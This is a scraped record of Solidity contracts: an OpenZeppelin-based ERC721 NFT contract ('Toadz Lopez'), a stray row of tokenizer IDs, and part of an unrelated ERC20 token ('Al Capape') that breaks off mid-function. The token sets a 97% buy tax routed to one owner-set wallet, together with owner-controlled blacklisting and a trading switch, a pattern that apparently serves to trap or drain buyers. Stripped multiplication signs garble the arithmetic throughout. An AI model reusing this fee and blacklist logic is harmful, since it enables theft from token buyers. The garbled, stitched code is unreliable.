non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/ToadzLopez.sol pragma solidity >=0.7.0 <0.9.0; contract ToadzLopez is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.0069 ether; uint256 public maxSupply = 555; uint256 public maxMintAmountPerTx = 10; uint256 public freeMintAmount = 0; mapping(address => uint256) public addressMintedBalance; bool public paused = false; bool public revealed = false; constructor() ERC721("Toadz Lopez", "TOADZLOPEZ") { setHiddenMetadataUri("ipfs://QmY8uW4PkqFaAdF6zkE9t4D63Mr7HFeoVQEafzu1GWV7Rf/1.json"); setUriPrefix("ipfs://QmY8uW4PkqFaAdF6zkE9t4D63Mr7HFeoVQEafzu1GWV7Rf/"); setRevealed(true); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setFreeMintAmount(uint256 _freeMintAmount) public onlyOwner { freeMintAmount = _freeMintAmount; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); addressMintedBalance[msg.sender]++; _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 5718, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 5890, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2656, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2570, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 24094, 1012, 14017, 1007, 10975, 8490, 2863, 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/** Submitted for verification at Etherscan.io on 2022-04-15 / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AlCapape is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Al Capape"; string private constant _symbol = "CAPAPE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x72EE1e5b8b155692801e1a61c5385C9Caea60D12); address payable private _marketingAddress = payable(0x72EE1e5b8b155692801e1a61c5385C9Caea60D12); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 10*9; uint256 public _maxWalletSize = 20000 10*9; uint256 public _swapTokensAtAmount = 10000 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) \|\| (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return 